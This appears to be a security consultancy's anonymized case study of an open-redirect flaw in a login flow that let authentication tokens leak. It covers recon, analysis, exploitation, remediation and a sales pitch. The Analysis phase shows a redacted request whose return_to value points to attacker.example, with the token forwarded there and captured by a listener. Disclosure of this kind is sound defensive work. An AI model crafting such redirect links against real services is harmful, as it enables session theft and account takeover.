Skip to content
All case studies
Consumer Electronics · 2026Critical · CVSS 8.2Confidential — anonymized

Token Theft via Authentication Open Redirect

The login flow trusted a redirect parameter to send users back where they came from after authenticating. It checked the brand’s root domain — but not subdomains, not paths, and not the kind of malformed URL that browsers and back-end parsers disagree about. We crafted a link that looked like it pointed home but resolved to our server, and the post-login token rode along with the victim. One click, full account takeover.

Duration
2 Weeks
Team
2 Application Security Operators
Scope
Web Application Testing
Methodology
Black-Box / Grey-Box Web Application Assessment / OWASP Testing Guide

Attack narrative

Each phase references the MITRE ATT&CK technique used, with captured evidence.

  1. 01

    Reconnaissance

    T1595 — Active Scanning

    We catalogued redirect-bearing parameters across the authentication subdomains and probed how strictly each validated its destination.

    operator@proteqon: redirect-surface
    # Identify parameters that control post-auth navigation
    $ redirect-finder --scope *.[REDACTED-CLIENT].example
    callback [reflected -> redirect]
    return_to [reflected -> redirect]
    reset_link [reflected -> redirect]
    validation : matches root domain only
    $
  2. 02

    Analysis

    Open Redirect — Improper URL Validation

    Validation confirmed the destination contained the brand’s root domain but never validated subdomains or paths, and tolerated malformed authority sections that front-end and back-end parsers interpret differently. The exact bypass string is withheld; the structure is shown redacted.

    GET /login?return_to=... (structure, bypass redacted)
    — Request
    GET /login?callback=&return_to=https://attacker.example[REDACTED-PARSER-BYPASS].[REDACTED-CLIENT].example HTTP/2
    Host: account.[REDACTED-CLIENT].example
    — Response
    HTTP/2 302 Found
    Location: https://attacker.example/[..]?token=<AUTH TOKEN — REDACTED>
  3. 03

    Exploitation

    T1566 — Phishing (Link)

    A victim opening the crafted, brand-hosted link is taken to the genuine login page. After authenticating with a social provider, the redirect forwards them — and their authentication token — to our endpoint. Demonstrated against an operator-owned identity only.

    operator@proteqon: token-capture (test identity)
    # Listener catches the redirected token, test account only
    $ token-catcher --listen :443
    [+] Inbound redirect from account.[REDACTED-CLIENT].example
    [+] Captured auth token for test subject
    [!] Token grants full session -> account takeover
    $
  4. 04

    Impact

    T1539 — Steal Web Session Cookie

    The leaked token is a full session: the attacker assumes the victim’s identity across the connected ecosystem. The same flaw weaponizes password-reset links, since their redirect target is attacker-controllable.

Key vulnerabilities

Open Redirect in Authentication Flow

Redirect parameters validated only the root domain, allowing crafted URLs to forward the post-login token to attacker-controlled infrastructure.

CriticalCVSS 8.2

Inconsistent URL Parsing Across Tiers

Front-end and back-end components parsed malformed authority sections differently, enabling validation bypass.

HighCVSS 7.4

Sensitive Token Passed via Redirect URL

Authentication tokens were transmitted in the redirect URL, where any open redirect immediately becomes a token-exfiltration primitive.

HighCVSS 7.1

Remediation

  1. 01

    Replace substring domain checks with a strict allowlist of fully-qualified redirect targets, validating scheme, host, subdomain, and path.

  2. 02

    Normalize and reject malformed URLs (encoded backslashes, embedded credentials, unconventional authority sections) before any redirect.

  3. 03

    Stop passing authentication tokens in redirect URLs; exchange them server-side or via short-lived, single-use codes.

  4. 04

    Apply consistent, centralized URL validation across every subdomain and component.

Outcome

Redirect targets moved to a strict allowlist with full-URL validation across all subdomains. Re-test confirmed all bypasses closed.

1
Victim Clicks Needed
3
Affected Parameters
Multiple
Subdomains in Scope
0
Bypasses After Fix

All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.

Start an engagement

Want this level of rigor on your systems?

Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.

Book a consultation contact@proteqon.com